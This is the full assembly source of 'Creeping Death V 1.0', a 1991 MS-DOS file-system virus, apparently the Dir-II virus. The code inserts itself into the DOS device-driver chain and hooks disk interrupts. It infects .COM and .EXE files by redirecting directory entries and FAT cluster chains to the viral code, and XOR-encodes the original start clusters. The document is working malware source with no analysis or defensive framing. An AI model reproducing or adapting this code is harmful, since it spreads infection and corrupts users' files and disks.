; Creeping Death V 1.0 ; ; (C) Copyright 1991 by VirusSoft Corp. i13org = 5f8h i21org = 5fch org 100h mov sp,600h inc counter xor cx,cx mov ds,cx lds ax,[0c1h] add ax,21h push ds push ax mov ah,30h call jump cmp al,4 sbb si,si mov drive+2,byte ptr -1 mov bx,60h mov ah,4ah call jump mov ah,52h call jump push es:[bx-2] lds bx,es:[bx] search: mov ax,[bx+si+15h] cmp ax,70h jne next xchg ax,cx mov [bx+si+18h],byte ptr -1 mov di,[bx+si+13h] mov [bx+si+13h],offset header mov [bx+si+15h],cs next: lds bx,[bx+si+19h] cmp bx,-1 jne search jcxz install pop ds mov ax,ds add ax,[3] inc ax mov dx,cs dec dx cmp ax,dx jne no_boot add [3],61h no_boot: mov ds,dx mov [1],8 mov ds,cx les ax,[di+6] mov cs:str_block,ax mov cs:int_block,es cld mov si,1 scan: dec si lodsw cmp ax,1effh jne scan mov ax,2cah cmp [si+4],ax je right cmp [si+5],ax jne scan right: lodsw push cs pop es mov di,offset modify+1 stosw xchg ax,si mov di,offset i13org cli movsw movsw mov dx,0c000h fdsk1: mov ds,dx xor si,si lodsw cmp ax,0aa55h jne fdsk4 cbw lodsb mov cl,9 sal ax,cl fdsk2: cmp [si],6c7h jne fdsk3 cmp [si+2],4ch jne fdsk3 push dx push [si+4] jmp short death install: int 20h file: db "c:",255,0 fdsk3: inc si cmp si,ax jb fdsk2 fdsk4: inc dx cmp dh,0f0h jb fdsk1 sub sp,4 death: push cs pop ds mov bx,[2ch] mov es,bx mov ah,49h call jump xor ax,ax test bx,bx jz boot mov di,1 seek: dec di scasw jne seek lea si,[di+2] jmp short exec boot: mov es,[16h] mov bx,es:[16h] dec bx xor si,si exec: push bx mov bx,offset param mov [bx+4],cs mov [bx+8],cs mov [bx+12],cs pop ds push cs pop es mov di,offset f_name push di mov cx,40 rep movsw push cs pop ds mov ah,3dh mov dx,offset file call jump pop dx mov ax,4b00h call jump mov ah,4dh call jump mov ah,4ch jump: pushf call dword ptr cs:[i21org] ret ;--------Installation complete i13pr: mov ah,3 jmp dword ptr cs:[i13org] main: push ax ; driver push cx ; strategy block push dx push ds push si push di push es pop ds mov al,[bx+2] cmp al,4 ; Input je input cmp al,8 je output cmp al,9 je output call in cmp al,2 ; Build BPB jne ppp ; lds si,[bx+12h] mov di,offset bpb_buf mov es:[bx+12h],di mov es:[bx+14h],cs push es push cs pop es mov cx,16 rep movsw pop es push cs pop ds mov al,[di+2-32] cmp al,2 adc al,0 cbw cmp [di+8-32],0 je m32 sub [di+8-32],ax jmp short ppp m32: sub [di+15h-32],ax sbb [di+17h-32],0 ppp: pop di pop si pop ds pop dx pop cx pop ax rts: retf output: mov cx,0ff09h call check jz inf_sec call in jmp short inf_dsk inf_sec: jmp _inf_sec read: jmp _read read_: add sp,16 jmp short ppp input: call check jz read inf_dsk: mov byte ptr [bx+2],4 cld lea si,[bx+0eh] mov cx,8 save: lodsw push ax loop save mov [bx+14h],1 call driver jnz read_ mov byte ptr [bx+2],2 call in lds si,[bx+12h] mov ax,[si+6] add ax,15 mov cl,4 shr ax,cl mov di,[si+0bh] add di,di stc adc di,ax push di cwd mov ax,[si+8] test ax,ax jnz more mov ax,[si+15h] mov dx,[si+17h] more: xor cx,cx sub ax,di sbb dx,cx mov cl,[si+2] div cx cmp cl,2 sbb ax,-1 push ax call convert mov byte ptr es:[bx+2],4 mov es:[bx+14h],ax call driver again: lds si,es:[bx+0eh] add si,dx sub dh,cl adc dx,ax mov cs:gad+1,dx cmp cl,1 je small mov ax,[si] and ax,di cmp ax,0fff7h je bad cmp ax,0ff7h je bad cmp ax,0ff70h jne ok bad: pop ax dec ax push ax call convert jmp short again small: not di and [si],di pop ax push ax inc ax push ax mov dx,0fh test di,dx jz here inc dx mul dx here: or [si],ax pop ax call convert mov si,es:[bx+0eh] add si,dx mov ax,[si] and ax,di ok: mov dx,di dec dx and dx,di not di and [si],di or [si],dx cmp ax,dx pop ax pop di mov cs:pointer+1,ax je _read_ mov dx,[si] push ds push si call write pop si pop ds jnz _read_ call driver cmp [si],dx jne _read_ dec ax dec ax mul cx add ax,di adc dx,0 push es pop ds mov [bx+12h],2 mov [bx+14h],ax test dx,dx jz less mov [bx+14h],-1 mov [bx+1ah],ax mov [bx+1ch],dx less: mov [bx+10h],cs mov [bx+0eh],100h call write _read_: std lea di,[bx+1ch] mov cx,8 load: pop ax stosw loop load _read: call in mov cx,9 _inf_sec: mov di,es:[bx+12h] lds si,es:[bx+0eh] sal di,cl xor cl,cl add di,si xor dl,dl push ds push si call find jcxz no_inf call write and es:[bx+4],byte ptr 07fh no_inf: pop si pop ds inc dx call find jmp ppp ;--------Subroutines find: mov ax,[si+8] cmp ax,"XE" jne com cmp [si+10],al je found com: cmp ax,"OC" jne go_on cmp byte ptr [si+10],"M" jne go_on found: test [si+1eh],0ffc0h ; >4MB jnz go_on test [si+1dh],03ff8h ; <2048B jz go_on test [si+0bh],byte ptr 1ch jnz go_on test dl,dl jnz rest pointer: mov ax,1234h cmp ax,[si+1ah] je go_on xchg ax,[si+1ah] gad: xor ax,1234h mov [si+14h],ax loop go_on rest: xor ax,ax xchg ax,[si+14h] xor ax,cs:gad+1 mov [si+1ah],ax go_on: ;rol cs:gad+1,1 db 2eh,0d1h,6 dw offset gad+1 add si,32 cmp di,si jne find ret check: mov ah,[bx+1] drive: cmp ah,-1 mov cs:[drive+2],ah jne changed push [bx+0eh] mov byte ptr [bx+2],1 call in cmp byte ptr [bx+0eh],1 pop [bx+0eh] mov [bx+2],al changed: ret write: cmp byte ptr es:[bx+2],8 jae in mov byte ptr es:[bx+2],4 mov si,70h mov ds,si modify: mov si,1234h push [si] push [si+2] mov [si],offset i13pr mov [si+2],cs call in pop [si+2] pop [si] ret driver: mov es:[bx+12h],1 in: db 09ah str_block: dw ?,70h db 09ah int_block: dw ?,70h test es:[bx+4],byte ptr 80h ret convert: cmp ax,0ff0h jae fat_16 mov si,3 xor cs:[si+gad-1],si mul si shr ax,1 mov di,0fffh jnc cont mov di,0fff0h jmp short cont fat_16: mov si,2 mul si mov di,0ffffh cont: mov si,512 div si header: inc ax ret counter: dw 0 dw 842h dw offset main dw offset rts db 7fh param: dw 0,80h,?,5ch,?,6ch,? bpb_buf: db 32 dup(?) f_name: db 80 dup(?) ;--------The End. MsDos